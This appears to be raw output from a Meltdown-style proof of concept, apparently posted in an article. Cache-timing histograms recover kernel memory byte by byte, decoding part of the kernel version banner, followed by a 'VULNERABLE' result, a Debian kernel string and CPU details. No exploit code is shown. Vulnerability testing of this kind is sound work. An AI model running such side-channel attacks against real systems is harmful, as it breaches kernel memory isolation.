addr ffffffff8c400062 hist[bb] = 1
addr ffffffff8c400062 hist[fb] = 42
read ffffffff8c400062 = 20

addr ffffffff8c400063 hist[00] = 10
addr ffffffff8c400063 hist[01] = 1
addr ffffffff8c400063 hist[02] = 1
addr ffffffff8c400063 hist[0b] = 2
addr ffffffff8c400063 hist[1b] = 2
addr ffffffff8c400063 hist[70] = 15
addr ffffffff8c400063 hist[71] = 15
addr ffffffff8c400063 hist[76] = 1636
addr ffffffff8c400063 hist[77] = 1579
addr ffffffff8c400063 hist[78] = 1578
addr ffffffff8c400063 hist[7b] = 1
addr ffffffff8c400063 hist[8b] = 1
addr ffffffff8c400063 hist[9b] = 1
addr ffffffff8c400063 hist[ab] = 1
addr ffffffff8c400063 hist[bb] = 3
addr ffffffff8c400063 hist[db] = 2
addr ffffffff8c400063 hist[fb] = 47
read ffffffff8c400063 = 76 v

addr ffffffff8c400064 hist[00] = 32
addr ffffffff8c400064 hist[01] = 4
addr ffffffff8c400064 hist[04] = 1
addr ffffffff8c400064 hist[07] = 1
addr ffffffff8c400064 hist[1b] = 3
addr ffffffff8c400064 hist[2b] = 4
addr ffffffff8c400064 hist[4b] = 1
addr ffffffff8c400064 hist[65] = 1300
addr ffffffff8c400064 hist[67] = 1228
addr ffffffff8c400064 hist[6b] = 2
addr ffffffff8c400064 hist[7b] = 1
addr ffffffff8c400064 hist[8b] = 2
addr ffffffff8c400064 hist[ab] = 3
addr ffffffff8c400064 hist[bb] = 2
addr ffffffff8c400064 hist[eb] = 1
addr ffffffff8c400064 hist[fb] = 58
read ffffffff8c400064 = 65 e

addr ffffffff8c400065 hist[00] = 8
addr ffffffff8c400065 hist[01] = 2
addr ffffffff8c400065 hist[02] = 2
addr ffffffff8c400065 hist[03] = 16
addr ffffffff8c400065 hist[04] = 1
addr ffffffff8c400065 hist[3b] = 2
addr ffffffff8c400065 hist[47] = 1
addr ffffffff8c400065 hist[4b] = 1
addr ffffffff8c400065 hist[72] = 1706
addr ffffffff8c400065 hist[7b] = 3
addr ffffffff8c400065 hist[ab] = 1
addr ffffffff8c400065 hist[bb] = 1
addr ffffffff8c400065 hist[fb] = 52
read ffffffff8c400065 = 72 r

addr ffffffff8c400066 hist[00] = 9
addr ffffffff8c400066 hist[01] = 2
addr ffffffff8c400066 hist[02] = 1
addr ffffffff8c400066 hist[0b] = 1
addr ffffffff8c400066 hist[73] = 1876
addr ffffffff8c400066 hist[74] = 1852
addr ffffffff8c400066 hist[7b] = 1
addr ffffffff8c400066 hist[bb] = 1
addr ffffffff8c400066 hist[eb] = 1
addr ffffffff8c400066 hist[fb] = 39
read ffffffff8c400066 = 73 s

addr ffffffff8c400067 hist[00] = 6
addr ffffffff8c400067 hist[05] = 1
addr ffffffff8c400067 hist[3b] = 1
addr ffffffff8c400067 hist[69] = 1319
addr ffffffff8c400067 hist[bb] = 1
addr ffffffff8c400067 hist[d9] = 1
addr ffffffff8c400067 hist[db] = 1
addr ffffffff8c400067 hist[fb] = 60
read ffffffff8c400067 = 69 i

addr ffffffff8c400068 hist[00] = 1
addr ffffffff8c400068 hist[01] = 1
addr ffffffff8c400068 hist[03] = 5
addr ffffffff8c400068 hist[04] = 1
addr ffffffff8c400068 hist[05] = 1
addr ffffffff8c400068 hist[6f] = 1373
addr ffffffff8c400068 hist[72] = 1352
addr ffffffff8c400068 hist[7b] = 1
addr ffffffff8c400068 hist[fb] = 46
read ffffffff8c400068 = 6f o

addr ffffffff8c400069 hist[00] = 5
addr ffffffff8c400069 hist[01] = 1
addr ffffffff8c400069 hist[03] = 3
addr ffffffff8c400069 hist[6b] = 1
addr ffffffff8c400069 hist[6e] = 1007
addr ffffffff8c400069 hist[72] = 991
addr ffffffff8c400069 hist[8b] = 2
addr ffffffff8c400069 hist[9b] = 1
addr ffffffff8c400069 hist[bb] = 1
addr ffffffff8c400069 hist[eb] = 1
addr ffffffff8c400069 hist[fb] = 44
read ffffffff8c400069 = 6e n

addr ffffffff8c40006a hist[00] = 3
addr ffffffff8c40006a hist[01] = 3
addr ffffffff8c40006a hist[1b] = 1
addr ffffffff8c40006a hist[20] = 1896
addr ffffffff8c40006a hist[24] = 1880
addr ffffffff8c40006a hist[2b] = 1
addr ffffffff8c40006a hist[4b] = 1
addr ffffffff8c40006a hist[8b] = 1
addr ffffffff8c40006a hist[ab] = 1
addr ffffffff8c40006a hist[bb] = 1
addr ffffffff8c40006a hist[eb] = 1
addr ffffffff8c40006a hist[fb] = 47
read ffffffff8c40006a = 20

addr ffffffff8c40006b hist[00] = 9
addr ffffffff8c40006b hist[1b] = 6
addr ffffffff8c40006b hist[25] = 1629
addr ffffffff8c40006b hist[26] = 1573
addr ffffffff8c40006b hist[2b] = 1
addr ffffffff8c40006b hist[39] = 1
addr ffffffff8c40006b hist[3b] = 1
addr ffffffff8c40006b hist[4b] = 1
addr ffffffff8c40006b hist[6b] = 1
addr ffffffff8c40006b hist[7b] = 3
addr ffffffff8c40006b hist[ab] = 3
addr ffffffff8c40006b hist[bb] = 2
addr ffffffff8c40006b hist[db] = 4
addr ffffffff8c40006b hist[fb] = 65
read ffffffff8c40006b = 25 %

addr ffffffff8c40006c hist[00] = 6
addr ffffffff8c40006c hist[01] = 3
addr ffffffff8c40006c hist[05] = 1
addr ffffffff8c40006c hist[1b] = 1
addr ffffffff8c40006c hist[3b] = 1
addr ffffffff8c40006c hist[4b] = 2
addr ffffffff8c40006c hist[6b] = 4
addr ffffffff8c40006c hist[73] = 1892
addr ffffffff8c40006c hist[74] = 1838
addr ffffffff8c40006c hist[7b] = 1
addr ffffffff8c40006c hist[8b] = 3
addr ffffffff8c40006c hist[ab] = 2
addr ffffffff8c40006c hist[db] = 2
addr ffffffff8c40006c hist[fb] = 59
read ffffffff8c40006c = 73 s

addr ffffffff8c40006d hist[00] = 6
addr ffffffff8c40006d hist[01] = 2
addr ffffffff8c40006d hist[1b] = 1
addr ffffffff8c40006d hist[20] = 1799
addr ffffffff8c40006d hist[24] = 1784
addr ffffffff8c40006d hist[4b] = 1
addr ffffffff8c40006d hist[db] = 1
addr ffffffff8c40006d hist[fb] = 42
read ffffffff8c40006d = 20

addr ffffffff8c40006e hist[00] = 15
addr ffffffff8c40006e hist[01] = 1
addr ffffffff8c40006e hist[02] = 2
addr ffffffff8c40006e hist[03] = 2
addr ffffffff8c40006e hist[05] = 2
addr ffffffff8c40006e hist[1b] = 1
addr ffffffff8c40006e hist[28] = 1062
addr ffffffff8c40006e hist[29] = 1023
addr ffffffff8c40006e hist[3b] = 1
addr ffffffff8c40006e hist[4b] = 2
addr ffffffff8c40006e hist[5c] = 1
addr ffffffff8c40006e hist[6b] = 1
addr ffffffff8c40006e hist[8b] = 1
addr ffffffff8c40006e hist[9b] = 3
addr ffffffff8c40006e hist[ab] = 1
addr ffffffff8c40006e hist[db] = 1
addr ffffffff8c40006e hist[eb] = 1
addr ffffffff8c40006e hist[fb] = 62
read ffffffff8c40006e = 28 (

addr ffffffff8c40006f hist[00] = 1
addr ffffffff8c40006f hist[01] = 2
addr ffffffff8c40006f hist[02] = 2
addr ffffffff8c40006f hist[03] = 2
addr ffffffff8c40006f hist[06] = 1
addr ffffffff8c40006f hist[0b] = 1
addr ffffffff8c40006f hist[2b] = 2
addr ffffffff8c40006f hist[3b] = 1
addr ffffffff8c40006f hist[64] = 1630
addr ffffffff8c40006f hist[67] = 1621
addr ffffffff8c40006f hist[ab] = 4
addr ffffffff8c40006f hist[fb] = 53
read ffffffff8c40006f = 64 d
VULNERABLE
VULNERABLE ON
4.9.0-5-amd64 #1 SMP Debian 4.9.65-3+deb9u2 (2018-01-04) unknown
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 42
model name : Intel(R) Core(TM) i5-2410M CPU @ 2.30GHz
stepping : 7
microcode : 0x17
cpu MHz : 2399.951
cache size : 3072 KB
physical id : 0
Sign up to leave a comment.

Articles